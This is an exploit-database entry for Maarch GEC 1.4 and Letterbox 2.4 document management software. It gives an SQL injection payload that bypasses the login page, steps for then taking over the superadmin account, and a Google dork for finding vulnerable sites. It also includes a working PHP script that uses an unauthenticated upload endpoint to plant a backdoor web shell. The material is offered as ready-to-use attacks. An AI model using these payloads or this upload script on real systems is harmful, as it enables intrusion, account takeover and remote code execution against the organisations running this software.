Author

Adrien Thierry

Risk

[

Security Risk High

]

0day-ID

0day-ID-22810

Category

web applications

Date add

29-10-2014

Platform

php

/******************************************************
# Exploit Title: Maarch 1.4 SQL Injection
# Google Dork: intext:"Maarch Maerys Archive v2.1 logo"
# Date: 29/10/2014
# Exploit Author: Adrien Thierry
# Exploit Advisory: http://asylum.seraum.com/Security-Alert-GED-ECM-Maarch-Critical-Vulnerabilities.html
# Vendor Homepage: http://maarch.org
# Software Link: http://downloads.sourceforge.net/project/maarch/Maarch%20Entreprise/Maarch-1.4.zip
# Version: Maarch GEC <= 1.4 | Maarch Letterbox <= 2.4
# Tested on: Linux / Windows
******************************************************/
 
Maarch GEC <= 1.4 and Maarch Letterbox <= suffer from multiple sql injection vulnerabilities. The worst is at the login page, index.php :
 
login : superadmin' OR user_id='easy
pass : whatyouwant
 
You see an sql error, but reload the web page, you are logged in.
 
To change superadmin pass:
 
Go to Menu -> Mon Profile
 
Type your news password twice, an email etc, and click on save. New Sql error (history table, so we don't care), but password is changed.
 
Clear your cookies, return to application url, enter your new fresh password, it's done.

/******************************************************
# Exploit Title: Maarch 1.4 Arbitrary file upload
# Google Dork: intext:"Maarch Maerys Archive v2.1 logo"
# Date: 29/10/2014
# Exploit Author: Adrien Thierry
# Exploit Advisory: http://asylum.seraum.com/Security-Alert-GED-ECM-Maarch-Critical-Vulnerabilities.html
# Vendor Homepage: http://maarch.org
# Software Link: http://downloads.sourceforge.net/project/maarch/Maarch%20Entreprise/Maarch-1.4.zip
# Version: Maarch GEC <= 1.4 | Maarch Letterbox <= 2.4
# Tested on: Linux / Windows
******************************************************/
 
The file "file_to_index.php" is accessible without any authentication to upload a file.
 
This exploit code is a POC for Maarch Letterbox <= 2.4 and Maarch GEC/GED <= 1.4
 
Exploit code :
 
<?php
 
/* EXPLOIT URL  */
$target_url= "http://website.target/apps/maarch_enterprise/";
/* EMPTY FOR OLDS VERSIONS LIKE LETTERBOX 2.3 */
$indexing_path = "indexing_searching/";
/* TARGET UPLOAD FILE */
$target_file = "file_to_index.php";
/* FILE TO UPLOAD IN SAME PATH AS THIS SCRIPT */
$file = "backdoor.php";
/* NAME, EMPTY WITH LETTERBOX */
$name = "shell";
 
/* LAUNCHING EXPLOIT */
do_post_request($target_url . $indexing_path . $target_file . "?md5=" . $name, $target_url, $file, $name);
 
function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------".substr(md5(rand(0,32000)), 0, 10);
    $data .= "--$boundary\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents."\n";
    $data .= "--$boundary--\n";
    $params = array('http' => array(
    'method' => 'POST',
    'header' => 'Content-Type: multipart/form-data; boundary='.$boundary,
    'content' => $data
    ));
 
$ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp)
    {
       throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false)
    {
       throw new Exception("Erreur !");
    }
    else
    {
        echo "file should be here : ";
            /* LETTERBOX */
            if(count($response) > 1) echo $response;
            /* MAARCH ENTERPRISE | GEC */
            else echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
 
    }
}
 
?>

#  0day.today [2024-07-02]  #